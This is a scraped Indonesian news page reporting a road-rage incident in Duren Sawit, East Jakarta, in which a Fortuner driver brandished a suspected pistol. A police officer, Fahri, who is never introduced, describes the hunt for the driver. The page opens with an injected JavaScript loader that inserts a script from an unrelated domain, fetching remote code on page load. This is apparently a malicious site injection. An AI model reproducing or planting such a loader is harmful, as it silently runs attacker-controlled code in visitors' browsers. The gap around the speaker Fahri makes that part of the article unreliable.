(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Aksi pengemudi Fortuner saat todong pistol ke pemotor (Kolase foto/Instagram/@merekamjakarta)
KANALKALIMANTAN.COM, JAKARTA – Richard, seorang pengemudi ojek online mengungkap detik-detik aksi penodongan senjata yang dilakukan pria berkacamata pengemudi Toyota Fortuner di perempatan lampu merah Jalan Baladewa, Duren Sawit, Jakarta Timur, Jumat (2/4/2021) dini hari tadi.
Saat ditemui Suara.com di lokasi, Richard mengatakan peristiwa ini terjadi usai pelaku menabrak dua orang perempuan yang mengendarai sepeda motor. Karena peristiwa itu warga lantas memberikan bantuan kepada korban. Kemudian si pelaku diminta untuk turun dari mobilnya.
Pada saat itu, kata Richard, bukannya turun, pelaku justru mengeluarkan sesuatu yang diduga senjata api dan sambil mengancam kepada warga yang berada di lokasi.
“Lu berani sama gue, kata dia gitu’. Sama ngeluarin senjata itu,” kata Richard.
Dia mengatakan, saat pengendara Fortuner berpelat nomor B 1673 SJV itu mengancungkan senjata, tak ada satu pun warga yang berani mendekatinya. Lantaran takut tertembak, akhirnya warga membiarkan pelaku itu pergi.
“Habis itu warga langsung minta dia cabut,” kata dia.
Identitas Diketahui
Namun terkait identitas lengkap dari pelaku, Fahri enggan mengatakannya.
“Nanti akan kami beritahu, nanti kami akan informasikan,” ujarnya.
Kemudian terkait jenis senjata yang diduga pistol berjenis softgun itu juga masih dalam proses penyelidikan.
“Masih kami selidiki,” ujar Fahri.
Terancam UU Darurat
Lebih lanjut, Fahri mengatakan pihaknya telah membentuk tim khusus bekerja sama dengan Polres Duren Sawit untuk mengejar pelaku aksi koboi jalanan itu.
“Ada tim khusus yang kami bentuk juga didampingi Polsek Duren Sawit, untuk mendatangi diduga pelaku dan kami sedang menyelidiki keberadaannya,” ujarnya.
Karena perbuatannya itu, pelaku dapat disangkakan melanggar Undang-Undang Darurat tentang Kepemilikan Senjata Api.
“Penangkapan tersangka dikarenakan diduga melanggar Undang-Undang Darurat terkait Kepemilikan Senjata Api,” kata Fahri.(Suara)
Editor : Suara
KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
This website uses cookies.